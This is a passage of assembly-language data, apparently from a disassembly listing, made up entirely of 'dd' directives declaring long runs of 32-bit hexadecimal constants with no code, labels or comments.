		dd 0DA2112E2h, 2F9AD6A9h, 8EFC5CEEh, 8520B723h,	0CF26DFFAh
		dd 0F22B94DDh, 0F1529DEFh, 3039CD28h, 0D5B7477Ch, 0B99ABBFh
		dd 0E73BBA45h, 0D4207994h, 0F1C175F9h, 781D176Eh, 0CE4F98FBh
		dd 494A74F7h, 0ED4BE06Eh, 0A2F88557h, 0AA41E0F0h, 3BE11F97h
		dd 0BD610E94h, 0D7F11E1Dh, 0FEE3B046h, 0FCF23133h, 0A867DF0Dh
		dd 0FDEC97EDh, 0E03A0337h, 78D530EBh, 0B47406AFh, 9479A21Dh
		dd 0D0209A4Fh, 0E0C9D509h, 5E9B7EF8h, 28F48CFEh, 220951Dh
		dd 0DA380548h, 7225ADA8h, 0EC816BAEh, 0B3F0CFDDh, 4EF05A3Bh
		dd 3EF3DFF1h, 7C3A3E69h, 7B454DDBh, 0CFECBAFBh,	1B5AD717h
		dd 34A3AE55h, 0ADCCF6CFh, 3919317Eh, 2258A28Ah,	0D9D068D7h
		dd 5FF87DFh, 0EA05DE83h, 0CABA3A9h, 7A9A2F97h, 50733791h
		dd 0B610CB4Ah, 297A493Eh, 32893E3Dh, 59A65CFAh,	1AA8C6A1h
		dd 667C031Ch, 21F2B16Eh, 4B5F1E04h, 0E87EF697h,	0FB7B7E2Fh
		dd 10BE220Fh, 562F97A1h, 0FB470F81h, 0CE74B250h, 0A1C308EFh
		dd 0D659A2A4h, 556872FEh, 7E2EE7C0h, 5749D188h,	0F1F95317h
		dd 2FDEE67Fh, 9AE18557h, 0AFE5854h, 0EFA52899h,	0DC6F079Fh
		dd 0C1BEFA21h, 0DE875BDBh, 0E69D6E92h, 0DE5DB391h, 7EC9842Fh
		dd 67F40FC1h, 0CA4E37CBh, 42508BC8h, 0CC761E42h, 401AD01h
		dd 0CE21FF28h, 0F7FD1977h, 0CBF981F3h, 7DB2949Eh, 0EB50209Fh
		dd 0D976C747h, 43E089FEh, 5FD50107h, 4F13029Eh,	607B2EADh
		dd 25C12BADh, 0E974128Dh, 0CF0EF8FAh, 0D9DEDFDEh, 0CBE109BFh
		dd 0C2BA3B28h, 1F4A615Bh, 8C78CE75h, 36EE2114h,	450433CFh
		dd 7A7DF9E6h, 1F50DFF9h, 55F17001h, 0A0659160h,	96B65DD7h
		dd 0A04C5D84h, 0B4AAF216h, 0E2E8948Ah, 15F17366h, 0B8A2DCC5h
		dd 0E3B3B1BDh, 0E080B25Ch, 2EEBEB7Bh, 0A75183E4h, 0DE51169Bh
		dd 3692B99Fh, 0A438B2F8h, 13523374h, 555E3E75h,	856EB149h
		dd 4A1D9B4Dh, 6FE473EFh, 0C25B81FCh, 5591D905h,	0E2545B07h
		dd 0E918717Dh, 3905AAC3h, 9AAA60BDh, 0C110338Fh, 423A7C19h
		dd 0B16B53Dh, 8795E467h, 69240E15h, 0DEBDC6DBh,	0D0CD84DEh
		dd 3A4F4AFAh, 591AAEC5h, 0B0B55155h, 0C6DF516Dh, 922787E8h
		dd 0DC79F714h, 3B67965Fh, 87ABDB7Ch, 9774BD01h,	4B9B3BF1h
		dd 434178EAh, 715BE9C5h, 791C6881h, 0BCA831BDh,	97C35FBAh
		dd 2957D893h, 9E721A09h, 0B9FBF9A0h, 55B151A3h,	13DBFE45h
		dd 5FDC0B07h, 0BFA22208h, 0FA1AD4EAh, 0BE52F39Ch, 4ABBA7D4h
		dd 0F66810FCh, 49D689D2h, 968F6C17h, 30525CA8h,	0D50B6BBEh
		dd 811A657Ah, 4BD94E47h, 2CBDB99h, 0A8F12BADh, 94FE7B8Fh
		dd 0A60B7DE6h, 232DD5F9h, 0CD30974Bh, 607F6963h, 83C5D1D4h
		dd 0B2DFD09Dh, 0B72F4F70h, 0C76DC29Eh, 0BD465A97h, 712E0307h
		dd 52BDCBC8h, 735A29Ch,	8EFA232Ah, 7822DC29h, 0F86B5D47h
		dd 38759640h, 0BADAB85Eh, 5C636A0Dh, 0E8679703h, 0C8FBF733h
		dd 54BA5A6Ch, 0E9E85A0Ah, 21BAB46Bh, 0FD15169Dh, 5A0A974Dh
		dd 280C7E74h, 1C07B62Bh, 0D9F852F6h, 0A2E67BF0h, 33582CBAh
		dd 1BFB426h, 0AAB9D55Eh, 443FDB6Eh, 7BEFCA90h, 9F5D168Bh
		dd 1FC5CCC9h, 63C4A9C8h, 87D41A8Dh, 691CC568h, 9D506C15h
		dd 5E88D842h, 4DD23337h, 0B27AB742h, 6B258AD4h,	36B182F6h
		dd 517EC723h, 0FB3582B6h, 65EE0E2Fh, 41E296Ch, 1F8BEBCBh
		dd 507B15BEh, 5349BBF4h
		dd 6C063A77h, 878D655Fh, 0FDFAA03Eh, 5857A8DAh,	0CE47C3F3h
		dd 4F6DD425h, 0F18BADAFh, 0F37CFC7Dh, 0B31CF06Dh, 476D3EA9h
		dd 4BF30FB6h, 6BC9EAC4h, 6FBEAE93h, 0AB9842FEh,	0EB39EED6h
		dd 5CD3403Ch, 9F4DCBBDh, 2AAC8F13h, 0D7F188D0h,	0F39F979Eh
		dd 3F76AAA7h, 383BF3ADh, 51AA469Ah, 0AEBE4770h,	986E00EBh
		dd 0F0C843F1h, 5C1350CBh, 0AC5AC8FDh, 877039AFh, 0F0D3E80Fh
		dd 875FBCF7h, 50F63E9Ah, 0A5D4BD72h, 0BF46CD1Ch, 62B4ED15h
		dd 57EB06B5h, 0D5ACF8F6h, 0E88C3AF0h, 0B234E52Bh, 2381DDABh
		dd 0F776854Eh, 0B47A5498h, 951FCA40h, 7DED1606h, 2AEAA78Dh
		dd 4E87A6BAh, 0AB716F9Dh, 92C9DAE2h, 0B63251BEh, 5A2868FBh
		dd 5CF68D3Eh, 0FB26D857h, 53756962h, 51FD931Dh,	624305BDh
		dd 0CFFC24F1h, 268FA3F6h, 0F5A3D56Eh, 2778E58Ch, 67256EF9h
		dd 33D92D8Eh, 5D22A341h, 14EE6A55h, 0B43351DDh,	0F1CB44F0h
		dd 0EE417C5Fh, 0C862985Dh, 33D26B01h, 0A36AFB41h, 7E2BC92Fh
		dd 0E128022Dh, 0FAB0688Dh, 0E6806754h, 0FB697F3Eh, 0A7C92E3Bh
		dd 0AC16A669h, 0EF0F4C20h, 0DF1BD1D3h, 0F6B5EE2h, 3B81E6D4h
		dd 0AB498FE0h, 0FE112BADh, 17FA3B65h, 0AD173D64h, 0E9F586D3h
		dd 67869708h, 0BF06163h, 5D4EFEDEh, 14B9AE39h, 29C3595Dh
		dd 41D67FC1h, 693BA275h, 0F06575Bh, 2DC0B55Ch, 17C38196h
		dd 3E2DABE7h, 0F25A6683h, 0C0375448h, 82C278E3h, 7499814Dh
		dd 0EA99AAA9h, 0BD3B3ECAh, 0CFDA2812h, 6886DE20h, 0EC58D170h
		dd 1179FF70h, 1E35BA68h, 5C9DBC98h, 0E678D2C7h,	1F462FA3h
		dd 0B08371DCh, 0F457AFA3h, 670F4AFCh, 0B9B88CEFh, 5ECB3AB2h
		dd 0B4448189h, 3EC3EB57h, 958335B8h, 7055B351h,	0B39E11DAh
		dd 3337F4D1h, 0D0976E5h, 897CAA9Eh, 1DDAC60Bh, 0D92D5213h
		dd 41B73915h, 0F824A470h, 1FDDD960h, 25CAA258h,	0EED95B2Bh
		dd 0E36B01CEh, 54C05A87h, 0EC7971E1h, 0BF19FB8Eh, 1693D60Fh
		dd 5C2ADD64h, 857E55D7h, 0DAD8A771h, 6A3D37A3h,	1CF5A664h
		dd 39FBF84Fh, 86F568Ch,	8E20255Ch, 0AE250E2Fh, 0F54E3E2Ah
		dd 0BF6FAEDBh, 27C85A1Ah, 0F8F90057h, 54BB43FDh, 47D7A5DFh
		dd 0D18FB216h, 31C8112h, 0A05DAC34h, 0F15AA63Eh, 1648DF5Fh
		dd 7A36DC4Ch, 596F384Bh, 0F7A540E5h, 827E5AF8h,	0AAFC86F5h
		dd 13984A88h, 0EDFE2CA9h, 5446BEDDh, 475DF448h,	30DCB2EFh
		dd 0A2A00AE0h, 0F202E936h, 0FB3D8A5Eh, 0BF9DD715h, 7176157Bh
		dd 3E0AC8F3h, 0A486F05Dh, 5067C0FDh, 0DB227078h, 785A0465h
		dd 55429C3Ch, 0CBC12517h, 9B5774D8h, 0EBDF02D9h, 0D85EB216h
		dd 0B0E12D10h, 4973167Eh, 0DB6CC0FFh, 0B3064B5Bh, 447122AEh
		dd 133970DFh, 0EA155F94h, 4AF576B5h, 3DED7EFDh,	46A8FED1h
		dd 38124C97h, 9513CF77h, 0D8ABAA5Ch, 0B2BA06ECh, 98D41ED6h
		dd 617D1CDCh, 0CBC406EAh, 0B313C6D8h, 87E03591h, 255947BEh
		dd 0CF44ED9Fh, 723981B5h, 8295DE82h, 31BEDBBh, 0A203EB10h
		dd 0CA408E34h, 0F48791ADh, 0F610E6AFh, 98E0E32Eh, 1B35A225h
		dd 0E2E600AFh, 92BB03F8h, 6C2001B3h, 55D71888h,	3F96267Ah
		dd 86F1F6C5h, 0CAA08FF6h, 34CA9174h, 136F7B55h,	544B741Dh
		dd 14D85EDCh, 0A108F07Bh, 75A5E5C9h, 58A78AD5h,	58F4B5E2h
		dd 0EA65F99Ch, 68F75E50h, 0CDCFAAA1h, 7B3BC9AEh, 0DE2D783Bh
		dd 281815CDh, 0BD072971h, 0BD7130DDh, 0FD7F0B91h, 631E2145h
		dd 0D5ED3CDDh, 45F85FC7h, 0A456EA31h, 0E97F75FFh, 612342ABh
		dd 0C3F04FBBh, 10D42ACFh, 606B327Bh, 0EE3540FFh, 8E1AB3B4h
		dd 966393FDh, 6AF3AD68h, 861F2D5Dh, 0BED54FA7h,	601A8EB9h
		dd 847A06Ch, 7AEC98D7h,	0E7FF1E2Bh, 0DB7B21DBh,	0CBC5D5CEh
		dd 0B1B0AA39h, 0E9E265A6h, 3A365C87h, 3A567CD4h, 0C8A17F8Ch
		dd 0B3235DFCh, 66D23DE6h, 111F32AFh, 313977D9h,	6A84B1F4h
		dd 93A59570h, 99977634h, 0FCB71FD4h, 0B45251Ch,	7220B9E5h
		dd 460F4E19h, 0BD07EA81h, 0DA66F0B4h, 34C3D6BFh, 6ABEE56Ch
		dd 0D21AE21Eh, 0FADD0B66h, 0F51AF80Ch, 5DC0C5B2h, 0EE29BB11h
		dd 7C6508A4h, 45836456h, 0A12887ABh, 9BBEDF95h,	0C989729Fh
		dd 657E7383h, 22BFBBDFh, 62573757h, 0F07380EDh,	4D6DD0E0h
		dd 42359E2Fh, 563AB8DFh, 0F2349B6h, 63B73C0Ch, 83E4D252h
		dd 5065B099h, 1791B5B0h, 0DD41897Eh, 2599ED15h,	0B3FB86BCh
		dd 0F3DA54BCh, 0C62F9055h, 0D0155543h, 1BD7EA81h, 0AE24D5A5h
		dd 0B85A4AAFh, 0AB7A10DAh, 0DBEED4EFh, 0DB035A29h, 0EA238096h
		dd 0FFADF2A8h, 97BEF602h, 0ED5B4E1Ah, 0E0FB045Dh, 356EEFD3h
		dd 0A469A3F3h, 0E2ECCB7Eh, 2DF2F993h, 0A77B7110h, 1D9ACBF3h
		dd 3ECB5F8Dh, 969806h, 95A8DAF8h, 6538954h, 0CF355BDBh
		dd 0FAB45AEh, 0D36AD87Ch, 85E44F7Bh, 45791BA8h,	0AFE3C99h
		dd 51FED9A6h, 62F2DFE9h, 84462C9Eh, 78DC6AC2h, 731E06EEh
		dd 35F76EDBh, 0E9372CB8h, 0D0D45F50h, 2E72B087h, 23FBF5DDh
		dd 4DADC6B6h, 775DAA45h, 0E9387399h, 79EA37D6h,	4F01C165h
		dd 562BAA1Dh, 0EED9DD30h, 5FA4A24Ah, 0C5D52940h, 848EA854h
		dd 6FDD25CAh, 0C99CC0FBh, 81FC1CD9h, 3CB0AFE3h,	0ECF06B61h
		dd 0FD988298h, 0DD1EBE3h, 15FCB65Ah, 0B812B950h, 0CFE48920h
		dd 1FD69F88h, 0ECCFADA3h, 0C016C66h, 0F4BF303Fh, 90587BE5h
		dd 0A88CA2D7h, 501E6C50h, 0D6317DCAh, 0B15E956Ah, 78EF5FB2h
		dd 8E654F4Dh, 6F5960E7h, 62A74BE9h, 9970F3CEh, 5CABC3B7h
		dd 6D1FCE5Dh, 4AA0B965h, 1AAB0AB6h, 0B02BEE08h,	7692AF57h
		dd 0D55513AFh, 7D4AC811h, 0FB4167E1h, 587E9457h, 0FDDD2C73h
		dd 40D01CDDh, 4F3B8559h, 6BEF4CDh, 3C43FF9h, 9075A7D3h
		dd 0BC93EC7Fh, 332B32D9h, 9C35E80Bh, 0C31F7ABEh, 53854317h
		dd 0BAA35B44h, 4E92F5C6h, 0F2D41203h, 4733EA6Ch, 0B46B5734h
		dd 0A29394E6h, 6A742495h, 21EAD790h, 5A23E0F8h,	73D4A966h
		dd 59F0DF31h, 0FDAA725Fh, 0A628F94Fh, 0B0D830E4h, 0E202D9E9h
		dd 0D04580ACh, 7B6C16CDh, 55CF1F5Ch, 0F5494AA4h, 0AA00F1BBh
		dd 0ED0FE046h, 64AAB7AEh, 9F89C0E3h, 0F376ECECh, 2D5EA8C4h
		dd 12AD80ABh, 515A49B8h, 0D618C477h, 0ACE7902Ah, 95D4AA34h
		dd 0B5317B4Dh, 328E026h, 6B0A34D0h, 777E8640h, 4B7F7D36h
		dd 0C960731Dh, 0F1FFE624h, 8816B025h, 0DC3F3DD7h, 0B2D77DB7h
		dd 7BD04160h, 0BFF7388Dh, 0BADAF4E1h, 9C6DE9A2h, 4D722CBFh
		dd 66AEB8F1h, 48559D56h, 169E1E04h, 1483C94Ch, 0D62696Dh
		dd 0B1F37499h, 396B46FFh, 0E684F27h, 3C82EBBDh,	4CF4E970h
		dd 8A68BCE1h, 0B9060AEAh, 4BD5DC13h, 62DF84A9h,	19245112h
		dd 553F2B51h, 3FA6BB55h, 0FBCD12D1h, 51398A37h,	2F05637Fh
		dd 0D3C72EDCh, 53EB16B2h, 0D12712CFh, 589617F0h, 4E7D7517h
		dd 0A997EFF7h, 0C777F15Eh, 45D2D783h, 99970749h, 0C6D3293Ah
		dd 0F89E554Fh, 6E73DEA1h, 0E96CD6C9h, 0DB75A0A6h, 30659E36h
		dd 0A95D7127h, 11452ECEh, 0E42A672Ah, 0BE69D0EEh, 0BB2A98F2h
		dd 0E7E3F80Bh, 93A90297h, 5DE11EFFh, 0E70F9D01h, 0E27F389Fh
		dd 43D4E8C5h, 130F905Eh, 67C2348Ah, 85FCC6C0h, 1B76399Dh
		dd 76D1703Ch, 0ACF8BF38h, 1F07A1B8h, 87E0DA6Eh,	0AF26851Dh
		dd 58E8BCCAh, 3DD827DEh, 7ED968Fh, 7CF4BC8Eh, 41FAA7D5h
		dd 0B0000DDBh, 0D6C4294Ah, 0ABF52BE0h, 0E3ABFFA1h, 6AA5D7Eh
		dd 0EC285817h, 613C5020h, 944D8DA2h, 0DB5D13FEh, 213F717Eh
		dd 0C4BF143Fh, 0C2EB1B3Dh
		dd 0C3A5237Fh, 5DEAE1C0h, 92991FF3h, 0F07A0A25h, 43BBCD61h
		dd 0DC4FB573h, 628E51EAh, 348E2E9Ch, 90AAFB19h,	0FA164B2Dh
		dd 0FC294A5h, 0DB796AF7h, 2695C555h, 944FBA90h,	62A532D8h
		dd 0C289F653h, 2E2A6857h, 0ECBD3CF2h, 52A17406h, 5E1F6D65h
		dd 9F0FBB12h, 5B16942Fh, 0D9F0C7C8h, 76715194h,	1CCE70ADh
		dd 3AD5AE35h, 6F9BFCBFh, 0C96BFFF9h, 48A71CC8h,	6BAA7CB0h
		dd 0D3F05F74h, 64BE67B5h, 0E5F87FD5h, 5F676F7Ch, 0A622547Ch
		dd 0C9FA2C24h, 71190223h, 73BF8CE5h, 0F2FA75F0h, 0BC1BD969h
		dd 0AA394433h, 0AC35139h, 25D79084h, 67E3F6D1h,	1EB5E0CBh
		dd 0AA351C8Eh, 0DAB50E0Fh, 16AD8756h, 4D5F9EC7h, 0FBE4BF76h
		dd 472577C1h, 0E07E8CFh, 0AB7C3D1Eh, 3B7F373h, 8A796901h
		dd 0EF6AC62Ah, 0D5A1EEF2h, 0D73E76ACh, 556CA788h, 0E3FBB0ECh
		dd 0AFF34CEh, 8DD5D6FDh, 810797D4h, 3DEEB99Bh, 0D2B8D378h
		dd 8FEE82EDh, 0BED8E2FDh, 0C13F11A3h, 0F15AA9B3h, 0F45C06CAh
		dd 0AF52E014h, 6F875AAFh, 0D5499A7Fh, 3BACBCEBh, 0AF4EC59Ah
		dd 6E4F0B00h, 0B5234B8h, 0B7B0A8B9h, 44821DDAh,	6D04917Fh
		dd 439E9365h, 8FAD3ABAh, 8166BE32h, 416ED90h, 79C1E310h
		dd 5E048C4Ch, 4C75E4C1h, 3A1D27F3h, 0CD5CDA43h,	2B5672F8h
		dd 0BEE57C2Ah, 2EF8CDEh, 0B7F611ACh, 877B9E12h,	85477E63h
		dd 0B5DE0BFDh, 5AD8E876h, 95F7AC42h, 4DD2259h, 4E639954h
		dd 46355F59h, 0FBB6B743h, 28A7FE5Dh, 0B8B5D7AFh, 3CB1BEDBh
		dd 89F2D4E7h, 2C2F2836h, 4E0FAC55h, 4322F5Ah, 0F8D0223Eh
		dd 0CD05C9A3h, 6E67B63Fh, 14BBA73Fh, 0FEE90A11h, 63B37ED7h
		dd 17157163h, 96DFB343h, 0FDB2AA63h, 85DF4C9Eh,	40738F1Fh
		dd 5C75395Ah, 0FA4713C5h, 126F303Eh, 40FBCF91h,	1B3ED2EFh
		dd 0EFD8F66Dh, 1F815E09h, 7198AEA2h, 6F85C31Bh,	0AABA7F13h
		dd 0C0C7D865h, 787F35D9h, 0F4B8F3A6h, 69DDB977h, 57296A6Fh
		dd 4E3D64B6h, 1A8569F6h, 7F492005h, 7F4FED74h, 0BA8EAFF1h
		dd 0CEA938B2h, 0FACA1607h, 1CAEF844h, 1DC7AE88h, 1A521152h
		dd 0CEBC078Dh, 0C2AC3C81h, 57C692E7h, 0B6A2D249h, 0FB0AEBE3h
		dd 0AE9C2251h, 91A9B214h, 0F24DC3FAh, 0ACC92B5Dh, 2D05AAB9h
		dd 8B19B2FFh, 31B3AFA5h, 0F910BC55h, 76A74C4Fh,	0E02DB662h
		dd 0E8F3C9E4h, 7E8A4FDDh, 1A4F7B98h, 0A8FF9615h, 3941A1EDh
		dd 7DBF5323h, 3C093DFFh, 4B503F7Eh, 2C74AF32h, 0FCD2B470h
		dd 8639FDDAh, 285D7726h, 0CC7CE878h, 5FD9EBC8h,	0A8D2913Ch
		dd 9666B741h, 0F86D31D7h, 2BE65AC2h, 76E403A7h,	7D65144Dh
		dd 443B6A89h, 2F5AB52Bh, 0F4C25BA8h, 1BCF7D41h,	0D4AAEAB7h
		dd 8AED6CEBh, 3B75B8B2h, 2E1ADA43h, 2B83F6EFh, 9A29FB65h
		dd 0EFF2C789h, 0AB81E4C7h, 0BC70E12Bh, 3AEF3BECh, 10AE333Ch
		dd 0F4B4E951h, 0CE7522Ah, 5979483Ch, 0E7554D57h, 0B781363Ah
		dd 275A23D0h, 6E031176h, 93BAE151h, 0E8EBD02Dh,	0B8532C32h
		dd 4BF77256h, 56E45DB5h, 6BBF56B4h, 20E2970Ah, 8A5C6420h
		dd 0A5A0750Bh, 0EDEDAB53h, 2D38CD9Fh, 91B75B48h, 0AB99EABBh
		dd 0DDAD7628h, 0E47F28AFh, 1DA7688Bh, 7541ABA5h, 1B228386h
		dd 32C35A6Fh, 0CA23FF68h, 4BCB01C8h, 22556D1Fh,	0B9C4AAABh
		dd 93A09398h, 6B8CEDB9h, 70B26ED0h, 0A1CAD56Dh,	4A7DBFBCh
		dd 0A3F039Bh, 3F1BCB4Eh, 79EDB7Ch, 0FBCFFAD6h, 0CD3DCB9Ch
		dd 0D7319607h, 2566FC67h, 95572F47h, 382E4377h,	5BF1119Bh
		dd 0ABAC5337h, 43FCAE1Ch, 55C3D5Fh, 24E58BAFh, 0AD35EF2Ah
		dd 0BAA87C0Dh, 5882C7E1h, 7F7F0533h, 0D0E1AE80h, 0CAC4B1F1h
		dd 5719923Fh, 0F0F3A019h, 0CE292A93h, 2C1E2FFCh, 5B33A84Bh
		dd 938DB57Ch, 8EA3DE6Ch, 695376ABh, 2637A07Fh, 0A3D9822Bh
		dd 0F3CF4746h, 0E5B4729Bh, 790B2AC4h, 7E09E75Fh, 0A5C67DF2h
		dd 63949E24h, 8DD41677h, 6DAB0418h, 1DF369C9h, 816FE94Dh
		dd 77B9D91Dh, 234A0839h, 8DAE8EBBh, 95727493h, 0F729BB50h
		dd 70957DA1h, 5F2DCC57h, 64560B1Ah, 0B1797288h,	0D481A888h
		dd 1C4C2F6Fh, 0C9E1D0ADh, 2351D38Eh, 4556CFA9h,	0DCE276DBh
		dd 7E0E0C3Eh, 0A07BB18h, 39E0116Dh, 46D556FBh, 0E1C0B04Bh
		dd 4901490Fh, 674EFFA2h, 0ABB69163h, 302AF500h,	40F36CE9h
		dd 607BFE5Ch, 8D1A65C3h, 0F2DD755Ah, 4DCE1B68h,	0EE74DC1Dh
		dd 7E7259BCh, 0DB2C180Ah, 0D145355Ch, 7DD52258h, 0C926F2CBh
		dd 0AA17F7h, 7DF53EAFh,	4EEC15C0h, 50916269h, 0BB455115h
		dd 0B255B398h, 3476D745h, 0C9F0D470h, 6990D320h, 0ECDEEB67h
		dd 0AA2C90F1h, 0A1A1B715h, 0D8607F42h, 957FA4D3h, 1457ADF7h
		dd 71F97C3Fh, 20A51CF1h, 68EB57C0h, 0D3A62209h,	7BF5C32Eh
		dd 0CEEF1B3Eh, 37B2FD3h, 0F078C1F5h, 0BB3918FCh, 3E6910A6h
		dd 15F69CFEh, 4DA87CB9h, 18644B4Eh, 0DF1A0B2Dh,	0B024FF7h
		dd 0E1DBE07Dh, 3679D2Ch, 0A0CB350Bh, 0D6C166FCh, 0F3457E9Fh
		dd 1C91B84Ah, 77EBE4D2h, 0C3FBBFC2h, 0F1BB950Fh, 0E17BA220h
		dd 6CDCE8C5h, 247F67B8h, 0C9DE3F01h, 957443CAh,	0FB51FD45h
		dd 0F7DE5C17h, 0EBC081B4h, 9087D151h, 0D986EB04h, 0CA0B7DACh
		dd 5E848415h, 19FD3341h, 0F7501544h, 54FB916Fh,	0AA8553AFh
		dd 0CAAE41A9h, 3DDB6D0Ah, 94887E56h, 0D96D8C13h, 1D8AAB50h
		dd 3412C3Fh, 0ACD1BAA9h, 0F9D7ED11h, 1712DE82h,	0EA632FB6h
		dd 404EA4AAh, 6A68D5B8h, 55B6E3AFh, 0C2E41F67h,	6BD8597Fh
		dd 0F3518246h, 173D1E4Eh, 416570E0h, 3B4CB0EAh,	7AFD05F8h
		dd 0AE72267Bh, 0ACA0A0DDh, 0D60FDC72h, 0C96746DFh, 0F95E4588h
		dd 304CF6DFh, 26A038A8h, 2FC30F2Fh, 2AB0F1F1h, 96C99DC9h
		dd 24AB6762h, 7B42EA51h, 0CCD3C777h, 7EF2AB82h,	15BD6C6h
		dd 20A9FDAEh, 3C5FEDACh, 2989D3ECh, 0B3F683E1h,	0B8F25624h
		dd 0BAF5F57Ah, 0F6F3DFE3h, 64A9F3A0h, 5D022310h, 0B0FC132Ch
		dd 5CA51801h, 8C5A45F7h, 358CA558h, 76B2559h, 0AB511BD9h
		dd 0ED3A9273h, 86640AE9h, 1B9B5E3Bh, 21F8C7CFh,	0E1B8EA7Dh
		dd 0F55F691Eh, 1CFF9B35h, 0FFC7F303h, 0EF1E6B46h, 4172BA36h
		dd 7538A455h, 3D65AB77h, 5F0F68BEh, 0ABBB3BC0h,	45D7CF8Eh
		dd 1FDF6B15h, 0E1D83AD3h, 5AC1CEE2h, 85AF1E6Dh,	0EFC70BBEh
		dd 59DC9E24h, 0BBECAB2Bh, 0B774C8C8h, 0B53EA0D2h, 0B6D9129h
		dd 0DE9945E1h, 45BD06BFh, 11A0F09Ch, 0F92C6A69h, 9FDCAEBEh
		dd 8301C151h, 8BF4A1B8h, 68A6ECAEh, 0AD137C8Bh,	966D381Ah
		dd 0AEE00A3Ah, 0FD0E23F3h, 3940F8E1h, 0F2C98836h, 0DCC1CB8Ah
		dd 0D9F805B5h, 0B1EE2D1Bh, 9C8B43EFh, 174FFA1Dh, 5FDBF9Eh
		dd 43654A47h, 0C10D2AF4h, 8D4566C1h, 787851F4h,	0C382E79Eh
		dd 0F05C3C60h, 0D772A368h, 0C963B4F6h, 8AE79E94h, 0C2B77CB7h
		dd 6D8EDE84h, 2B2B66D2h, 0F30974E6h, 59C32175h,	0D68B3130h
		dd 9E4ACD29h, 0C924A712h, 124F174h, 30E2438Fh, 49984498h
		dd 0C4B97AEEh, 0F0C11DC2h, 0AF56E0EAh, 0C3B823DDh, 3C4A6EEDh
		dd 47C8E750h, 7E7E6811h, 7F6CF42Dh, 0FA578645h,	9D0793FDh
		dd 70DC264Fh, 0A28AA5AAh, 1A2CECD5h, 2825C957h,	97FB73DFh
		dd 0B5657BDBh, 7F02D564h, 6CD3098Eh, 0E9777F36h, 0F8F9CFCDh
		dd 0FF3D2A25h, 5B0A3BE5h, 96630375h, 2CC59846h,	6EA23250h
		dd 0F963755Eh, 0AA770452h, 45431FD1h, 0B6444075h, 5574CA21h
		dd 0EAAA3F2Ah, 0EF54564Ah, 6EF863B3h, 3E79DB8Dh, 0F56D728h
		dd 0D96BF03Ch, 0BB589140h
		dd 0E963CBF8h, 4E719E5Fh, 7A901211h, 0E4924124h, 92B815E9h
		dd 0FD26EFE6h, 0D1DD547Eh, 0AB0B972Bh, 0CE3FDC7Ah, 0C6D8EA86h
		dd 575D270Fh, 6FB2FE81h, 0C3FAB107h, 0B1891D57h, 80B28492h
		dd 2B9C9AB7h, 0B3ADA1B5h, 0AD1481F5h, 7E094E72h, 209B0ED9h
		dd 96C2791Dh, 5E7D814Dh, 96722804h, 0C594B65Dh,	4C9527CDh
		dd 0E72B041Dh, 1F3C7312h, 9704C9B7h, 757DBF39h,	23986312h
		dd 0ED53E0B5h, 9A455EFBh, 84A27E27h, 83B7188Fh,	0B996B942h
		dd 0A6523950h, 0F5DF76CCh, 0F69CDC1Ch, 252DEF71h, 49023FB9h
		dd 0C4431B83h, 87F4CC74h, 5EB0E817h, 6460E495h,	5BD6A418h
		dd 0B0B45981h, 0F9FD8FA9h, 0A15B6BAEh, 0B5FBE00Ah, 545771DDh
		dd 77527749h, 0DE07C2C6h, 0D9D05939h, 79151AACh, 32BF15F9h
		dd 0AB8AF588h, 0B28F61BDh, 376ED489h, 90C49593h, 0EB03FD2Bh
		dd 173D97C7h, 0BA4E0DDDh, 422BE143h, 2E98BD0Dh,	65C37286h
		dd 2D1BF4F3h, 1A815985h, 0FBEBB543h, 0D8780457h, 0CC50AE51h
		dd 0EBD7A653h, 0B5D1E40Bh, 352DA8BAh, 7C78F975h, 94E64C58h
		dd 0FEDA96E7h, 0E32DFD4Bh, 2A97D1ABh, 81F9AA97h, 0B34CDFAFh
		dd 0A08CD5F4h, 44AE9C0Dh, 275AE1EBh, 0D5A63D95h, 94840B1Dh
		dd 0DF71F87h, 0C54B411Ch, 8C99F170h, 0FF18F456h, 0BA51A0BEh
		dd 1515A635h, 0E6F869AAh, 0EF886974h, 0A5EAB08Ch, 0F6A322FBh
		dd 6DEF6857h, 0BE029D76h, 0DBDEB500h, 686E1F84h, 3F9854C6h
		dd 9E4CCC0Bh, 0EFAFC462h, 9800FC7h, 5F953F54h, 0B23DD6E8h
		dd 43AEDFACh, 0BEA3016Ch, 0F00A0439h, 912CFBDAh, 0A6CD815h
		dd 479675D4h, 9BAA37FBh, 0B77C894Ch, 64BA1811h,	3AD5B052h
		dd 957308D5h, 53246D5Dh, 7133B576h, 7FD7E543h, 47D63EA1h
		dd 9E4C5B49h, 0E990042Eh, 8D32AEDBh, 0BCFBA481h, 65CB6A02h
		dd 3A5FC2C9h, 0C4D0215Ah, 17E7859Eh, 11BFF70Ah,	0CFA13E8Ch
		dd 0CED6BA5Ch, 75DB13E3h, 40707A4Fh, 0CE1386F7h, 0CE2ED5EAh
		dd 1E9818ABh, 81FEE606h, 0D9641F87h, 76D93ABEh,	4BDF742Fh
		dd 0AA7647EEh, 0D3EE1185h, 8A8DD959h, 0F7F8C4B5h, 7F8255C0h
		dd 0A94B9A2Dh, 0AF5AD19Bh, 0DBA769A5h, 0ADFF0515h, 9F25A3AEh
		dd 26EF441Dh, 0D60557C8h, 0EB907095h, 0FBF6634Bh, 0C6A7F98Eh
		dd 727217EAh, 0AD509CC5h, 32306BD5h, 0F960A9DAh, 3EC59AFEh
		dd 0A566D3C7h, 0D87C1EEBh, 3B92A9A8h, 5973E032h, 3D758066h
		dd 74794D32h, 89E22099h, 0D0BA202Fh, 9978C9B9h,	0AD5C3CBEh
		dd 0F8308ACFh, 66C7BBFDh, 0F82D87C9h, 4C6BD9E1h, 0C655D545h
		dd 9C749593h, 0E903B1CDh, 12CB7C5Dh, 0BA25E801h, 0B03E955Ah
		dd 39E93F46h, 21D0D1C5h, 0B7FDB425h, 0EBB400AFh, 52FBB92h
		dd 0B4B3EEA4h, 60F7A4AEh, 181FDDEFh, 332148A6h,	0AB704652h
		dd 0FFA59EAAh, 41207028h, 73288FFBh, 5ABFAB45h,	91A2D26Fh
		dd 8B2B80A9h, 0E54F5EA2h, 2BAE9A0Fh, 5BAB6C91h,	0C5B139C0h
		dd 5AFAA35Ah, 6F72B05Dh, 5F1FB4EAh, 8984DC3Ch, 883683EAh
		dd 471A4E0Bh, 0F474B57Bh, 78C187EEh, 0E8153EDCh, 0C160C855h
		dd 36CB7791h, 0DC1BADABh, 1168AE3Bh, 0E9802FE2h, 2286A1BAh
		dd 0BEFF9B38h, 3BF1D54Ah, 33CCF4B2h, 0B1EAF982h, 9FB9E3AEh
		dd 0E2CD9739h, 0DE9C721Eh, 0E38221F8h, 172AC955h, 6E4B106Bh
